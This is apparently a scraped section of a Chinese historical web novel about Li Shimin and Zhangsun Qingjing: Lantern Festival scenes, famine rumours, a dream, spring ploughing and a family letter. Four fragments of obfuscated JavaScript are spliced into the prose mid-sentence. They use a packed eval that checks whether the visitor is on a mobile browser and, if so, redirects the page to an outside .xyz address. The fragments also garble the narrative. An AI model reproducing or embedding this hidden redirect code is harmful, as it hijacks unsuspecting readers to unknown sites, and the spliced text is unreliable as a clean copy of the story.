l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324998|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手心蹭破的皮,眼睁睁看着伙伴们远去,哭得更伤心了。 长孙青璟抱起她,为她清理血迹,拍打尘土,擦拭眼泪。 “走,我带你看灯轮!”她为女童捡起鎏金匣,然后与李世民一人挽起着这孩子一条胳膊,幼童就如打秋千一般,一晃一跳一纵身,不一会儿就来到离河岸最近的灯轮下。 长孙青璟抱起她,就像多年前父兄还在世时将她高擎看灯。 “哇。我从来没看过这么漂亮的花树,长得像一座塔。”女童开心地搂着长孙青璟的脖子。 “不要眨眼,花树马上要开出五色的烟花了。” 负责布置的匠人搭着梯子将树状灯轮上隐藏的竹筒次第引燃,然后下树撤梯。 人群中传来了整齐划一的数数声:“一、二、三。” 隐藏竹筒中的硝石、朱砂、铁粉、铜粉、松脂瞬间被点燃,从灯轮上齐射出五彩的火焰与烟雾,碎屑散落在众人头顶,引来一阵惊呼。 灯轮巨树的主干由数百盏金莲灯组成,枝叶则是银丝缠绕的灯串,整棵树此时像是突然燃烧起来,却又奇迹般地保持着形状,成为一座通天彻地的光之塔。 李世民从长孙青璟怀中接过女童,将她高高托举过头顶。女孩面对这一树飞溅的流星,散落的花雾,发出“咯咯”的欢笑,甚至伸手去抓点点星光。 长孙青璟轻轻踩了李世民一脚:“不准再往前了。小儿家细皮嫩肉,烫坏了怎么办?” “看我抓星星咯!”李世民后退一步,假意将小女孩抛向空中,他一手抓住流光,然后稳稳抱住孩子,将她放在地上,女孩掰开他的大掌,发现了掌心的波斯枣。 她抓起波斯枣,要回鎏金匣,蹦跳着跑回正在着急寻找她的家人与伙伴身边。 “星星是甜的。明年我还要来看灯。”李世民和长孙青璟都听到了小女孩稚嫩中带着炫耀的声音,不禁对视一笑。 “新岁顺遂,福履长随。”长孙青璟默默祝福着这个普通的家庭。 71. 观灯(2) 阿彩和两个部曲也终于到灯下与主人汇合。 流动的商贩巧舌如簧,开始在人群中兜售河灯。 长孙青璟为父亲选了一盏漆绘木胎菩提叶灯,为长兄行布,次兄恒安各选了一盏宝相花纱灯;李世民为母亲选了一盏泥金银千叶莲灯,为三弟玄霸选了一盏转鹭灯。两人大手大脚、随随便便,共花了六百文钱。 部曲和阿彩正准备用自己私蓄买五文钱的荷叶灯时,被李世民与长孙青璟阻止,两人另花了九十文钱买了三盏竹骨油纸灯——一盏兔子形状的给阿彩,两盏鱼龙形状的给部曲。 灯贩子听着主仆五人叽叽喳喳谈论着把河灯送给哪些亡故的亲人,感慨自己一下子做了笔大买卖。 他有些不可置信地反复掂量五铢钱的轻重,又凑近灯火检查五铢钱是否是私铸的、剪边的。 确认这对年轻主顾出手阔绰又缺心眼后,灯贩子说道:“郎君与娘子不为自己买一盏青瓷刻花浮灯吗?也就五百文。” “你喜欢吗?”李世民问长孙青璟,招呼部曲上前付钱。 “我不要。”长孙青璟坚决地说道,“太贵了。” 阿彩好奇地晃近灯前,只听得长孙青璟轻声咕哝:“丑。” 这毫无教养的抱怨只有阿彩一人听见,她掩口轻笑,低头退后长孙青璟身后。 灯贩子愣怔了一下:“从来只有女子挑贵的要买,男子嫌贵重不买的;没听说反过来。” 灯贩捧着越瓷浮灯,敲出环佩叮当的金石之音,向李世民道:“公子听这金石之音多悦耳,神佛一定能听到二位的祷告;再看这并蒂莲,嘉瑞吉祥——郎君,你为娘子放一盏青瓷灯祈愿吧。你二人定琴瑟在御,白首偕老。” “我看这灯挺清秀雅致,合你胃口,不如买下吧。”李世民抚着并蒂莲花纹说道。 “不买。”长孙青璟指着李世民调侃道,“你这人天天在我面前鸢飞鱼跃,无病无灾,我祷祝做什么?” “铺主,我娘子觉得我不值那五百文,那我也无计可施了。”李世民两手一摊——看来青璟是真不喜欢这灯。 阿彩与部曲也抱着各自河灯微笑。 灯贩悻悻道:“娘子真是爱恶皎然,性情中人,那在下就告辞了。” 祈愿的人群捧着河灯,涌向码头。 水声潺湲,暗涌如诉。 大小不同,形制有异,贵贱有别的河灯带着点点火光,渐次离开河岸,涌向未知的彼岸。 夜漕的船只也悬灯满舟,昏黄摇曳,映水成金。 河灯、船灯、星光,顿时连成一片。 祷告与祈福声不绝于耳…… 长河如练,自天际蜿蜒而下。又带着人间的憧憬,通往另一个世界。 洛阳,不愧是天下之中,王气所钟。即便是阴阳两界与天国的交通也是这般壮阔迷离与不容置喙。 长孙青璟、李世民等五人目送着八盏河灯随着潮水漂流至远方,期待着彼岸的亲人可以收到人间的讯息。 急促的马蹄声由远及近而来。人群因街使与骑卒的突然经过而骚乱起来。 “着火了吗?”有人好奇地问带领着数人小分队在人群中反复探查、盘问的候长。洛阳百姓对金吾不禁的副作用了然于心,但这次是意料之外的事情。 “比着火还糟糕,含嘉仓失窃了。”候长回答道,“盗贼被仓督派人堵截,却成功逃脱,目击者说这窃贼趁着夜色大摇大摆进城了……” “哦!”人群中发出古怪的声音。 “河东人干的?”好事者问道。 候长点点头,召唤步卒与逻卒离开码头。 人群中议论纷纷。大家一边望着河灯远去,一边拼凑着最近听到的稀罕事情。 “河东人都饿疯了呀,听说抱着蒲津渡的浮冰就过来了。” “少瞎扯!饿鬼哪有力气洑水,多半是劫了渡船过的河。” “你们记得,不要去上东门。”有年长者吓唬孩童,“饥民饿得跟野兽似的,都能煮泥巴果腹,你要去了上东门,准会被他们分着吃了。” “北邙也不要去,邙阪道上舆尸工都忙不过来。”又有人凑近来分享北邙饿殍遍野的惨剧。 “死人堵塞了水井。胥吏们说舆尸工收了三倍的工钱才愿意从水里捞人。洛阳的矾石都涨了十倍价钱。供不应求。附近村里都让年轻健壮的汉子日夜看护水井。”有人补充道,“我北邙的亲戚刚进城看灯时,亲口告诉我的。” “自缢的也不少。” “吊死在谁家门口谁家倒霉呗。难道还有人力看着村口的树?” “野狗天天吃人肉,比猪还肥。” “喂喂喂,我在吃胡饼,你们少说几句……” “乱讲,我今天下午刚从北郊纵马进城,并没有传说中的死尸、野狗、招魂幡……” “你不知道前两日为了筹备这上元节,洛阳动用了多少胥吏与军士驱赶流民、清理官道吗?” “听说死尸全部扔去北山乱葬岗。新尸体下面垫着大业八年的尸骨……” 谈论饥民的人越聚越多,一开始是猎奇,然后是唏嘘,最后便成了兔死狐悲物伤其类的感慨。 歌舞升平、金碧辉煌的东都城内,就这样突然出现了一些真实的、不谐调的声响。 “说来也不过是为了一把粟子果腹。” “能勉强吃饱的话谁乐意来河南乞讨?” “国家又不缺粮……” “唉——” 长孙青璟垂下了头:“唉,我本该给邙阪道上那对可怜的母子放一盏河灯的,那可怜妇人临死前还呼唤着观音……这世上,也不知还有没有牵挂他们母子的人了?” 她懊恼地拨开人群,搜索着灯贩的身影,却是徒劳。 “我这性子真不好。”长孙青璟望着满河星辉,心情抑郁,向紧随的阿彩抱怨自己,“阿娘常说我是执竞之徒,好折人言,看来所言非虚。哪怕我刚才多买一盏灯也好……” “娘子将帔帛给了濒死的母子,他们可算体面离开了。娘子不要再自责了。”阿彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329644|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔声安慰长孙青璟。 “喂——大家让一让,我等有要务在身,烦请让出一条道来!”坊正,街使高举着木腰牌大声叫道。 如是再三,裹挟着他们的漩涡才磨磨蹭蹭地为坊正、街使、候长、逻卒、骑卒、步卒们让出一条窄窄的缝隙,这些抓捕偷含嘉仓粮食逃犯的大小官吏才得以脱身。 与坊正同行的瘦弱男子盯着长孙青璟主仆五人端详了须臾,令人十分不适。这人看着不像兵士长相,也许更像是某位目击证人。 长孙青璟几乎要斥责他无礼时,步卒便将欲言又止的奇怪证人拖走了。 “哇,快看!”鼎沸的人群中突然响起清脆的叫声。 原来是她误会了,被迫轮值的差役们、从一处被转到另一处的证人在上元夜也会忍不住观看远方的灯轮——谁乐意黑灯瞎火盯着她看? 长孙青璟朝向年轻的士人游女翘首雀跃的方向,朱雀街整肃的灯轮巨树突然同时迸发出夺目的光芒,赤红如血的、碧绿似玉的火焰率先喷薄而入云霄,接着,靛蓝、鹅黄、绛紫的火焰次第绽放,将整片天空染成了流动的彩绸,与金色的通济渠交相辉映。 “愿消三障,长乐太平。” “与君同醉,安乐升平。” “岁首吉庆,百疾不侵。” 男女老少,情侣夫妇,熟人生人,都在这个上元之夜互致祝福。 时近中宵,火焰与烟雾悉数散尽,空中的彤云呈现出诡异的红色,不是温柔的绯红的熹微,不是朝霞光焰万丈的金红,而是莫可名状的滞涩的、凝固的暗红,如同被恶狠狠地撕去了一层皮后留下的血淋淋的筋骨。 空气中似乎弥漫着鲜血的味道——虽说长孙青璟一再安慰自己那只是铁屑的味道,但是奇怪的腥臭一直追逐着她,令她无所遁形。 李世民默然良久,若有所思地说道:“我在紫微宫里也见过这样的血色。就在九洲池的上空,燃烧着地狱的烈焰。那晚我身心俱疲。” 天空与朱雀街的楼阁那并不平整的交接处就像被撕裂的口子,里面渗出暗黄色的脓浆,带着血丝,慢慢扩散、包裹起目之所及的每一道城垣,每一座楼阁。脓液流经之处,星星便次第熄灭了。 长孙青璟不敢抬头仰望了,她害怕那漫天的腐肉与脓液会压到她的头顶;她也不敢低头,因为在这天光下浸润久了,有时会看到滴血的裙摆;她只敢望着李世民那张依旧清朗无翳的脸。 那个属于惟德动天,无远弗届的圣王时代的洛阳,那个带着竹简的芬芳、青铜的古拙、玉琮光华的洛阳,在两个年轻人的心中坍塌了。 他们只想逃离。逃离烈火焚烧或脓浆迸溅的洛阳的天空。 “我们回去吧。”长孙青璟对李世民说道,“我还要给无忌写信。我心里难受极了,不吐不快。” 洛阳,是天枢在中夏的投影,是熔化的血髓珊瑚,是燃烧的朱红绸缎,是灯轮枝头盛放又暗淡的焰光,是温泉中涌起又破灭的气泡,是华美衣饰掩盖下腐烂流脓的血肉,是葱茏中夭折的喧嚣。 72. 畎亩(1) 长孙青璟彻夜被梦魇所折磨。 诡秘的梦境里,也是这个上元夜这样脓血荫蔽日月的天空,分不清昼夜。 她的身边晃悠着一头白色的独角兕,或者麒麟。 长孙青璟记不清自己为何与一头本该被上林苑、西苑一类皇家园林视若神明般供奉的独角兕一起踏上流亡之旅的。 她在鲁国大野泽围观了一场盛大的狩猎,叔孙氏的车夫鉏商一箭射偏,这活蹦乱跳的小怪物就窜到她跟前祈求救助。 她也并不在意自己为什么能和死了一千多年的一群鲁国人一起狩猎,只是单纯地想救下这头被骂作“凶兽”的小怪物。 但是这头瑞兽似乎没有成年,面对世间的一切都充满了好奇心。在暂时脱离险境后,它东奔西跑,足迹所到之处便开出金色的宝相花。 长孙青璟叫唤着它,勒令它不准跑远。独角兕雀跃着回到她面前,安静地伏趴在她身前,示意长孙青璟为它挠一挠因不断生长而瘙痒难耐的犄角。 长孙青璟揉捏着这头幼兕的犄角,与它依偎在一起。独角兕蹭蹭长孙青璟的面颊,将一颗夜明珠吐在她掌心中。它调皮地歪头,露出一个长孙青璟熟悉的俏皮的笑容。 一阵急促的呼哨传来,紧接着,猎犬咆哮的声音,马匹的嘶鸣,鹰隼展翅的响动,猎户们的交谈,清晰地传入她的耳中。 这是瑞兽,瑞兽是不能被猎杀的。 而他们即将将被眼前的虞人和他们的鹰犬所擒。 独角兕感受到了人类的恶意,但是它全然信赖长孙青璟,愿意保护这个愿意陪伴它一起出逃,一起隐入山泽,风餐露宿的少女。 她听见了彀弓的窸窣声。猎户们准备猎杀他们——不管猎物是同类还是瑞兽。 只需要两支箭,他们就会成为新的祭品。 独角兽抖落了一身在逃亡路上刮蹭的枯枝败叶与尘土,挺身站起。它向长孙青璟眨眨眼,示意她继续逃亡。 对于在错误的时间与年龄误入人间这件事,独角兕不曾懊恼哭泣。对于它来说,这是一场冒险的有趣的游戏,它唯一担心的只是怎样带着保护自己的少女一起安全脱险。 他们隐身在一个山洞中,相对无言,等待着天命裁决的时刻。 “唉,你来的真不是好时机。”长孙青璟叹息道,“没有愿意供奉你的贤君圣王,只有那些视你为不详、想践踏你、残杀你的人!” 独角兕摇摇头。它一直能听懂长孙青璟的每一句话。它又一次趴在地上,侧过脸,温柔地俯身在倚靠在长孙青璟的膝头。 “孰为来哉,孰为来哉,吾道穷矣!”她抱紧独角兕的颈项,眼泪滴落在独角兕的眼睑上。 “你们两个快出来!我们知道你们躲在洞中!”洞外应该已经被掌管山泽的虞人重重包围。 洞外犬吠马鸣,刀枪铛鞳。 “妖女祭河,凶兽祭天,定能五谷蕃熟,穰穰满家!”虞人们已经开始筹划着抓到他们后如何处置。 长孙青璟屏息听着这些惨绝人寰的祭祀方式,决定铤而走险。 她抚摸着白兕的犄角道:“你设法从洞中岔路逃走,我去迎敌。你是瑞兽,总有办法在岩壁上凿个洞逃走吧。他们找不到你,一时也不会杀我。” 她抽出了父亲的突厥金刀决意死战——这群怀疑她有妖术能兽言的虞人也未必真斗得过她。 白兕慵懒地抬头,两眼闪过一丝不屑,像极了某位桀骜不驯的故人。 她来不及多想自己一直期待着谁来救她,只想凭自己的力量脱困。 长孙青璟有些不耐烦地推搡白兕,逼迫它离开。这头未成年的任性自负的瑞兽竟然最后一次投入她怀中,并不坚固的犄角轻轻顶蹭着她的下巴,表示亲昵与信任。 然后,它趁着长孙青璟不备,窜出了山洞。 她在它身后呼号不及。 洞外,飞矢如蝗,蔽天而至。 这是一个没有结局的噩梦。 黯淡的晨光里还弥漫着着上元节夜晚铁屑、朱砂、蜡油的余味。 长孙青璟披着袄衫坐起来,心有余悸地收起案上的《左氏春秋传》,不再去想独角兕的结局与圣人夭折的理想。 她披衣来到中庭,假作树叶的绸缎在寒风中瑟瑟发抖,比枯木更加了无生机,就像给垂死之人强行画上的浓妆,艳丽之下的苍白与衰朽更加昭然若揭。 “你醒啦?”李世民负手站在一株杨树下,有些惊讶地看了一眼妻子,“我以为就我一人没睡好……” “我做了个怪梦。”长孙青璟望着树冠上浮夸的、密集的绸缎,缓缓地说出可怕的梦境,“大野泽的虞人想把我送给河伯——我一路东躲西藏,苦不堪言……” “那你的梦里有没有一个英武的神箭手,在千钧一发之际……”熹微倒映在李世民的双眸之间,令他神采非凡。 长孙青璟抿嘴道:“没有。” “你好好想想,也许他在你将醒之时赶来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338572|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” “我梦里没有这个人。”长孙青璟觉得又好气又好笑,拒绝再去回想这个梦。 李世民扁扁嘴,随即自嘲道:“有些娘子啊,就连做梦也要逞强——好像被英雄搭救是什么很丢人现眼的事情……亏得我每次梦里都有你!” “我想起来了!”长孙青璟突然开悟似的提高了声音。 李世民神色一凛,万分欣慰地说:“我就说我一定会来搭救你的……” 他突然觉得不对劲,长孙青璟正学着他的样子背着手,踮脚凑近他——这副顽皮的样子显然就没安什么好心。 他心中发毛,故作镇定地问道:“你这么端详我,是想夸我如孤松独立呢还是如珠玉在侧呢?” 长孙青璟摆摆手,半真半假地说道:“你那黑眼圈,和我梦里那头一起逃跑的神兽一模一样……虞人准备把它烧死。” “你——我……”李世民万万没有料到会得到这样一个答案,“谢谢你梦里还惦记着我……” 初现的朝霞透过树枝丫杈,将长孙青璟的脸颊晕染得如晶莹的玉桃。 她身上自带的甜腻香气惹得李世民心猿意马,便擅自将她拉近自己,继而小心翼翼地将她松垮地搂进怀中。 “我讨厌苏合香的味道……”她当然知道这么浓烈的香料味无非是为了驱散皇帝带来的污浊之气,所以垂手而立,没有进一步抗拒。但是这香料浓郁得有些过头了。 “我头晕。”晕眩、酥软和缺失主导的无措包围了她。 “就抱一下。你这个差点被虞人沉湖的小妖女,简直胆大妄为,连叔孙氏捕获的白麟都敢擅自偷走……”他得寸进尺地又贴近了她一些,将她单薄的身体整个环抱起来。 自从醉酒后那个赌气似的亲吻之后,两个人一直遵循着守制之礼,再也没有这样亲昵过。 至于那头喝醉的自称代北草原上花豹的小猞猁,对于那晚混沌而又甜蜜的情状却茫然无知——这多少令李世民觉得失落和不忿。 他捉住长孙青璟因慌乱而胡乱摸索和推拒的手,将它按在自己胸口:“这里也空了。观音婢,你像偷走白麟一样偷走了我的心……这世上,有你不敢偷的东西吗?” 他凑近她,蛊惑的声音在她耳边回响。 细软的髭须划过长孙青璟的脸颊,刻意地摩挲着挑逗着,似乎有足够的时间和耐性将这个狡猾的小兽诱入彀中。古灵精怪的少女无所遁逃,肌腠之间又痛又痒,方寸幽衷又惊又爱。 73. 畎亩(2) 昏暗的天空开始崩裂,放荡而狂悖的风声掠过丫杈,企图警醒这一对贪食桑葚的斑鸠鸟。 而年轻的情侣却浑然不觉。 长孙青璟攥紧李世民胸口的蜀锦衣料,以最无意识的姿态渴求着更多一份的温暖和柔情蜜意。 纯真的诱惑是凿取少年肺腑的利刃。正如他所说的一般,他的心就这样一寸一寸地被凿空。 两人下意识地贴紧了一些,炽热的爱欲填满了以往纯真岁月中的缝隙。 神摇意夺的两人并不清楚谁先成了谁缀网里的俘虏,反正他们也丝毫不在意上元节之后第一个拥抱的主导权到底属于谁。 这个拥抱,带着一点点蛮横霸道,一点点纯洁无忧,一点点暗涌的情欲,一点点困顿中的相依。 一切恰如其分,无懈可击。 他们头顶杨树的枯枝因缠绕的绸缎过于沉重,野风的催逼过于急促而落在他们肩头。 两人匆匆闪躲,喘息未定,交缠的十指却未曾分开。 他的胸腔真的空了,而她的手掌依然能感受到奔突的、炽热的心跳在回应她脉搏的颤动。 闪亮的,矫饰的,沉重的绫罗绸缎和枯败的,中空的,腐烂的枝条就这样惨烈地坠落在两人脚下。 ——这是长孙青璟最感激杨广的一次,每当他们即将因耽于纯粹的青春的感官的享受而滑向不可知处时,这个暴虐自矜的帝王总会以各种形态面目出现,提醒他们眼下的处境。 两只斑鸠鸟此时便真的清醒了。 “哦,东都真实的样子莫过于此。”长孙青璟喃喃道,“华美的绫罗绸缎也阻止不了枯枝败叶的凋零。” “走,跟我去北邙,我有太多的计划想去付诸行动——”意外的坠落物使他从欲望中解脱出来,“毕竟,妖女与凶兽,瑶姬与仁兽都是出双入对的……” 太好了。 她只想逃离洛阳城。 她迫切地想去邙山下的田庄暂避,比李世民更加迫切地想在山泽畎亩间餐六气,饮沆瀣,吸清和之息。 配合着皇帝虚情假意的籍田礼,百姓们也纷纷在上元之后纷纷祭拜农神,准备春耕。 洛阳郊外李氏田庄。晨雾还笼罩着田畴之时,田埂上已聚集了数十位农夫。薄霜覆盖着田畦间的枯草,冬眠的各种蛰虫。 二月地尚且冻结,可强耕,虽费功力,之后必定倍收。农夫们手持铁犁,牵出耕牛,准备套牛轭。 “三人一组,先划分地块!” 带领众人翻地的是一位参加过建康之战的老者。他对于公子跃跃欲试参与春耕一事不以为然。 勋贵之家总会出几个脑子有贵恙的王孙公子,怀抱经世济国的梦想,准备解民倒悬,跑来与他们同甘共苦上几日。 遗憾的是他们的远大梦想基本熬不过二月底。 翻耕冻土,修葺耒耜,栽种桑麻,开挖毛渠后,都等不到洒粟种,他们的梦想自然被繁琐与劳累碾得粉碎,几近幻灭,都不需要父母亲友说客劝告,这些公子便再也不会涉足田间,然后重新回到灯红酒禄,飞鹰走马的纨绔生活的正轨之上。 “国公再三嘱咐,公子自告奋勇与农人一同耕作,实属不易。令他略吃些苦头,知难而退即可……”庄吏转达着李渊的意思。 老者在香案前带头揖了揖,算是祭过田神得到了庇护。 “我自然明白。”老者望着跟随众农夫一道、郑重地向田神作揖祝祷的年轻公子,感慨道,“李公子也不是第一个跃跃欲试的,——让国公尽管放心,过几日公子手足胼胝,就倦了,再不回来了。我还没见过熬到洒粟种的贵公子。” 庄吏哑然失笑:“那就好。可巧,我也是这么想的。公子年轻气盛,总觉得可以只手改天换日,吃点苦头就变踏实了,乖乖回到洛阳城里继续过他纨绔子弟的日子。” “话又说回来。”老者比划了一下少年魁梧的身形,拍拍自己的胸背和大臂笑道,“若生在普通人家,李公子当真是个修篱笆打猎种地抢水的好把式。” “乱讲,当心国公知道了你这么说他爱子,割掉你这根为老不尊的舌头!”庄吏拍打着老者的肩头大笑。 李世民穿着自己最陈旧朴素的短褐,提着一把踏犁走在农夫的队伍最后观望。 一时也无人教他如何使用踏犁。他便依照老者所说,跟着其中一个两牛三人的耕作小队在冻土之地上缓缓行进。 两头耕牛转过弯后,李世民终于跃跃欲试地换下了扶犁者。 他手握犁梢,学着其余熟手的模样调节犁箭将铁铧深深扎进板结的冻土。 土块经过一个冬天的沉寂,坚硬得如同磐石,犁尖凿上去星火迸散,震得他虎口发麻。一开始他的姿势稍显笨拙,显得与其他农夫格格不入,引来结伴前往台地桑林晒蚕种的农妇们指点嬉笑。不久他便渐入佳境,冻壤被犁壁翻起,黑黄相杂如龙鳞揭甲。 两位牵牛者初时觉得这不过是个有怪癖的富家公子,只等他自己力竭请求歇息。谁料这位扶犁的年轻人如舟溯洄,渐至中流,没有将息的意思。 路人也便只是惊异一位气质神采与众农夫截然不同的少年居然在此处认真地犁冻土,而不再嘲笑他举止生硬好笑。 “公子,歇息一下吧,耕牛也是要喘口气的。”一位牵牛者劝告道。 “我们三人齐心合力,最快多久能犁松一亩地?”李世民问道。 “三个时辰不到。” “好。你们教我掉头。” 不时有隐鼠的地下洞穴被深深的犁沟贯通,被锋利的铁铧蹂躏,导致这些灰黑色的小瞎子们要么魂丧犁下,要么四散逃窜。 看热闹的幼童便嬉笑着放出狸猫追逐隐鼠,顺手抓起土坷垃搓成球砸无处可逃的隐鼠。 三人控制着耕牛和直辕犁,缓缓地转过弯,便随意地坐在田埂上休息。 “喂,两个小子不要闲着,看看新挖的犁沟里有没有硬土,找把木槌敲碎!”一位牵牛者向着放猫掷土的儿子们大吼。 其中一个十岁左右的孩子提着一个系绳粗陶壶飞奔到父亲跟前,取了三个匏瓢,为三人各倒了一碗黍臛汤。 孩子见到面生的李家公子,好奇地问他:“我阿娘和阿姊在台地的桑林里修剪枝条,清理蚕室。你娘子也在那里吗?” “也在。她今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344034|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与你阿娘阿姊她们相约一起修枝。她跟我一样对这些活计不太熟。不过我娘子顶聪明,有人教一教带一带自然就会了。”他从孩童手中接过黍臛汤,一饮而尽。农家简单的热饮带着点葱姜的辛辣味,不太好喝,但也不至于不能下咽。 “替我谢谢你阿娘。黍臛汤暖胃又驱寒。”他像个真正的君子一般向这个贫民家的孩子致谢,顺便又问道,“你开蒙识字了吗?” “看不了什么书。”孩子耸耸肩,在伙伴的催促下去新挖的犁沟处敲碎冻土块。 李世民望着疲惫地耕牛,向为自己牵牛的农夫请求道:“田父,能否教我用踏犁?” 几只归雁掠过翻腾而起的泥土,飞向高处。李世民突然想到和张亮偶遇的那个下午:“也不知他抓到活雁没有?” 远处传来隐隐的敲梆声,似乎是村正在一路巡查一路宣诵杨广矫揉造作的《劝农诏》:“京畿之地,务尽地力……” “尽个屁,又要把丁壮拉去修宫室和官道了。”李世民腹诽着,闷闷不乐。 年轻人不再理会向空中逃离的大雁,只专注于眼前的田地。 青璟站在台地的桑林中,看到一道道新的犁沟被塑造出来,孩童追逐,隐鼠逃窜,惊起了邙山脚下觅食的麻雀…… 几位年长的农妇记录树皮灰白开裂,根系腐烂的桑树的棵数,并在死树上做好记号。 “改日让男人们补栽桑树。一月可以先料理果园和花圃。那片比粟米地稍高一点的平地是麻地。等男人们翻好那片田地,就给先给麻田松土了。”领头的妇人对长孙青璟道,“先夫人生前也曾与我们一道浴种养蚕。她是非常有趣、和蔼的国夫人,既能够以外命妇的身份侍奉皇后亲蚕,又能像一个真正精通桑蚕之术的农妇般与我们这些乡野卑鄙之人谈笑风生。” 长孙青璟点头道:“全家人都很想念母亲。” “小郎君的性格有些像先夫人……”农妇微笑着望着前方农田中趁着耕牛休息向人请教踏犁用法的公子,“老人们都说公子早晚受不了稼穑之劳,会与我们这些粗人不告而别,我觉得不是……” “他不会半道退出的。”长孙青璟确定地说道,“我们都不会。” “娘子们,检视身上是否还配有麝香囊,抓紧取下放在桑林外面,不要碰到蚕室中的蚕连!”农妇高声提醒道。 几个出修剪桑树枝的新手匆匆从林中奔逃而出,解下香囊远远放在路边,以免清理蚕室时蚕卵遇麝香而腐烂。 这一行人皆是窦夫人生前心腹,直接参与了李家私留司农寺良种的犯科之事。 如今长孙青璟接手庄园蚕桑事务,为首的蚕妇必要将其中干系与新主母交代清楚。 众人进入台地后隐蔽的蚕室后,便开始清理腊月时就积存的尘土杂物,修补蚕器。 长孙青璟刚在熟练蚕妇指下点制好一个简单的蚕椸时,阿彩匆匆跑来报信。 长孙青璟激动地打开了兄长的家书,展信一看,长孙无忌连一句“孟春犹寒,体履如何”的寒暄也没有,只是用孤蓬自振,惊沙坐飞般的章草大字代替了通常诗意斐然的问候: “尔曹误我!” 74. 牢骚 长孙青璟在心中盘算了一下白鹘两次往返的时间,似乎对不上;又看见阿彩手中抱着一捆卷轴,想来那不是单薄的白鹞所能捎回来的。 于是她便问道:“我兄长派部曲来送信了吗?你带他来见我领赏!” 阿彩摇摇头:“不是高家部曲,是敏行公子。” 说到长孙敏行的时候,阿彩的脸微微红了一下。 长孙青璟接过一捆卷轴,急忙问道:“敏行现在何处?你怎么不带他来见我?” “他说他一个男子,贸然来蚕房,怕冲撞了蚕神,就没过来见你。本来我领他去见公子,他又见公子与农人们在一处劳作,就说不便打扰。他先去乡间走一圈找几个闲汉攀谈,等你们忙完再聚。”阿彩答道。 “他去找闲汉攀谈?”长孙青璟几乎笑出声,“他那么斯斯文文、清清秀秀的一个人,能和田舍郎们聊些什么?莫不是你耳朵坏了听错了?” 她真的无法想象长孙敏行和农人们可以闲聊些什么话题。 “娘子,我真的没有听错。敏行公子就是这么说的。”阿彩急着反驳,“公子说自己受陆夫子之托在写一部书,需要跑去乡野跟人请教字音——娘子,你可知道他在说什么?” “我也不明白。”长孙青璟摇摇头。 关于神出鬼没的长孙敏行以及他那部奇书,一主一仆便谈论至此。 长孙青璟郑重地向教她修制蚕器的妇人告了一刻假,匆匆览信。 “……胡椒香薰时味道纯正,想来价格不菲,母亲说大兴家中香料有余,下次不要随便将夫家香料寄回来,免得被人看轻;舅母对婴儿衣物十分满意,逢人就夸赞你惦记着全家……若是男孩,我们准备叫他‘履行’。母亲今冬风疾并未复发,只是牵挂你,有时会在你原本的寝室里呆坐半日,不过只是眼圈红,不曾哭泣……你去忙接驾的事宜吧!……你不要和他吵架!吵赢了又如何?……颜、崔、王、陆诸位娘子的答谢附于书后,你可慢慢展看。” ——这大概是长孙无忌对于她第一封家书的回复。 长孙青璟微笑了一下,继续读下去,不耐烦的狐狸尾巴便在第二封信中呈现了出来。 长孙无忌那满腹牢骚又古道热肠的面庞跃然纸上。 “我们看到你所述应对皇帝微服突访一事,甚为忧虑,所幸你夫妇二人应对得体……你确定自己可以随意支使安业否?万事小心。母亲一想到你可能从河南举家迁往更远的河东,心情就顿时黯然了。” 想到母亲那张忧郁的面孔,长孙青璟的心也沉了下去。她企图在字里行间寻找一些母亲不再为她担忧的蛛丝马迹,可惜并没有找到。 “——吾妹是李家主母,何时成了李家主簿?你知道你问我索要的那些关于均田的各朝律令,我花了多少时间,走访了多少明法谙律者。卷轴上依次是我与家僮抄录的魏太和九年诏令,齐河清三年令,国朝开皇二年田令,开皇五年输籍法。你要读这些条文做什么?大概是毗提诃又要搞什么鬼吧?” 长孙青璟清点了卷轴,却是长孙无忌忍住极大怒气誊抄整齐的各朝均田诏令——锋芒逼人的顿挫就是他的怨怼之情。 